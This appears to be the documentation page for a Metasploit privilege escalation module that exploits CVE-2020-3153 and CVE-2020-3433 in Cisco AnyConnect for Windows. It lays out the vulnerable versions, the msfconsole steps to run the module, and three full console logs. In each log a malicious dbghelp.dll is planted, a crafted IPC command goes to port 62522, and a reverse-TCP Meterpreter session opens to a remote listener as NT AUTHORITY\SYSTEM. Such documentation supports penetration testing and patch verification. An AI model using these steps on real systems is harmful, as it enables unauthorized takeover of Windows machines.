10 KiB
Vulnerable Application
The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.8.02042 is vulnerable to path traversal and allows local attackers to create/overwrite files in arbitrary locations with system level privileges.
The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers to execute code on the affected machine with with system level privileges.
Both attacks consist in sending a specially crafted IPC request to the TCP
port 62522 on the loopback device, which is exposed by the Cisco AnyConnect
Secure Mobility Agent service. This service will then launch the vulnerable
installer component (vpndownloader
), which copies itself to an arbitrary
location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being
executed with system privileges. Since vpndownloader
is also vulnerable to DLL
hijacking, a specially crafted DLL (dbghelp.dll
) is created at the same
location vpndownloader
will be copied to get code execution with system
privileges.
The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10 version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version 1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).
AnyConnect Secure Mobility Client is not publicly available and only customers with active contracts can download it. For this reason, download links have not been provided.
Install the Application
- Unzip the AnyConnect package
- Open the extracted folder
- Run
Setup.exe
- Select
Core & VPN
only (no need to install the full package) - Click
Install Selected
- Confirm you want to install this specific version of Anyconnect (click
OK
) - Accept the EULA (click
Accept
) Installation complete
(clickOK
)... enjoy
Or just run the anyconnect-win-x.y.zzzzz-core-vpn-predeploy-k9.msi
installer and
follow the installation steps with the default options.
Verification Steps
- Start msfconsole
- Get a session with non-administrative privileges
- Do:
use exploit/windows/local/anyconnect_lpe
- Do:
set SESSION <SESSION>
- Do:
set payload windows/meterpreter/reverse_tcp
- Do:
set LHOST <LHOST>
- Do:
set LPORT <LPORT>
- Do:
check
- Do:
run
- You should get a new session as the SYSTEM user
Options
INSTALL_PATH
Set Cisco AnyConnect Secure Mobility Client installation path (where
vpndownloader.exe
should be found). It will be automatically detectedif not set.
CVE
Set the CVE to use (CVE-2020-3153 or CVE-2020-3433). Default: CVE-2020-3433.
ForceExploit
Set this to true
to override the check
result during exploitation.
Scenarios
Windows 10 version 1909 (x64) with AnyConnect 4.8.3052 - CVE-2020-3433
msf5 exploit(windows/local/anyconnect_lpe) > set SESSION 1
SESSION => 1
msf5 exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24
lhost => 192.168.1.24
msf5 exploit(windows/local/anyconnect_lpe) > set lport 4445
lport => 4445
msf5 exploit(windows/local/anyconnect_lpe) > set verbose true
verbose => true
msf5 exploit(windows/local/anyconnect_lpe) > set CVE CVE-2020-3433
CVE => CVE-2020-3433
msf5 exploit(windows/local/anyconnect_lpe) > check
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.8.3052.0.0 < 4.9.00086 (CVE-2020-3433).
msf5 exploit(windows/local/anyconnect_lpe) > run
[*] Started reverse TCP handler on 192.168.1.24:4445
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.8.3052.0.0 < 4.9.00086 (CVE-2020-3433).
[*] "-ipc" argument needed
[*] Creating directory C:\Users\ATGO\AppData\Local\Temp\16Nkpr
[*] Meterpreter Session
[*] C:\Users\ATGO\AppData\Local\Temp\16Nkpr created
[*] Writing the payload to C:\Users\ATGO\AppData\Local\Temp\16Nkpr\dbghelp.dll
[*] IPC Command: "CAC-nc-install -ipc=76731 C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe C:\Users\ATGO\AppData\Local\Temp\16Nkpr\dbghelp.dll"
[*] Connecting to the AnyConnect agent on 127.0.0.1:62522
[*] Send the encoded IPC command (size = 288 bytes)
[*] Sending stage (176195 bytes) to 192.168.1.20
[*] Meterpreter session 3 opened (192.168.1.24:4445 -> 192.168.1.20:44712) at 2020-09-01 14:12:05 +0200
[+] Deleted C:\Users\ATGO\AppData\Local\Temp\16Nkpr\dbghelp.dll
[+] Deleted C:\Users\ATGO\AppData\Local\Temp\16Nkpr
[*] Shutdown the socket
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : W
OS : Windows 10 (10.0 Build 18363).
Architecture : x64
System Language : fr_FR
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
Windows 7 SP1 with AnyConnect 4.7.4056 - CVE-2020-3153
msf5 exploit(windows/local/anyconnect_lpe) > set session 4
session => 4
msf5 exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24
lhost => 192.168.1.24
msf5 exploit(windows/local/anyconnect_lpe) > set lport 4445
lport => 4445
msf5 exploit(windows/local/anyconnect_lpe) > set verbose true
verbose => true
msf5 exploit(windows/local/anyconnect_lpe) > set cve CVE-2020-3153
cve => CVE-2020-3153
msf5 exploit(windows/local/anyconnect_lpe) > check
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
msf5 exploit(windows/local/anyconnect_lpe) > run
[*] Started reverse TCP handler on 192.168.1.24:4445
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
[*] "-ipc" argument needed
[*] Writing the payload to C:\ProgramData\Cisco\dbghelp.dll
[*] IPC Command: "CAC-nc-install -ipc=29278 C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\iZnG\iZnG\iZnG\iZnG\../../../../vpndownloader.exe -"
[*] Connecting to the AnyConnect agent on 127.0.0.1:62522
[*] Send the encoded IPC command (size = 270 bytes)
[*] Sending stage (176195 bytes) to 192.168.1.20
[*] Meterpreter session 5 opened (192.168.1.24:4445 -> 192.168.1.20:45098) at 2020-09-01 14:23:13 +0200
[+] Deleted C:\ProgramData\Cisco\dbghelp.dll
[+] Deleted C:\ProgramData\Cisco\vpndownloader.exe
[*] Shutdown the socket
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : ATGO-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
Windows 7 SP1 with AnyConnect 4.7.4056 - CVE-2020-3433
msf5 exploit(windows/local/anyconnect_lpe) > set session 4
session => 4
msf5 exploit(windows/local/anyconnect_lpe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/anyconnect_lpe) > set lhost 192.168.1.24
lhost => 192.168.1.24
msf5 exploit(windows/local/anyconnect_lpe) > set lport 4445
lport => 4445
msf5 exploit(windows/local/anyconnect_lpe) > set verbose true
verbose => true
msf5 exploit(windows/local/anyconnect_lpe) > set cve CVE-2020-3433
cve => CVE-2020-3433
msf5 exploit(windows/local/anyconnect_lpe) > check
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
msf5 exploit(windows/local/anyconnect_lpe) > run
[*] Started reverse TCP handler on 192.168.1.24:4445
[*] Try to detect installation path...
[*] Found vpndownloader.exe path: 'C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe'
[*] The target appears to be vulnerable. Cisco AnyConnect version 4.7.4056.0.0 < 4.8.02042 (CVE-2020-3153 & CVE-2020-3433).
[*] "-ipc" argument needed
[*] Creating directory C:\Users\atgo\AppData\Local\Temp\fPTN4o
[*] Meterpreter Session
[*] C:\Users\atgo\AppData\Local\Temp\fPTN4o created
[*] Writing the payload to C:\Users\atgo\AppData\Local\Temp\fPTN4o\dbghelp.dll
[*] IPC Command: "CAC-nc-install -ipc=88243 C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe C:\Users\atgo\AppData\Local\Temp\fPTN4o\dbghelp.dll"
[*] Connecting to the AnyConnect agent on 127.0.0.1:62522
[*] Send the encoded IPC command (size = 288 bytes)
[*] Sending stage (176195 bytes) to 192.168.1.20
[*] Meterpreter session 6 opened (192.168.1.24:4445 -> 192.168.1.20:45102) at 2020-09-01 14:24:48 +0200
[+] Deleted C:\Users\atgo\AppData\Local\Temp\fPTN4o\dbghelp.dll
[+] Deleted C:\Users\atgo\AppData\Local\Temp\fPTN4o
[*] Shutdown the socket
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : ATGO-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >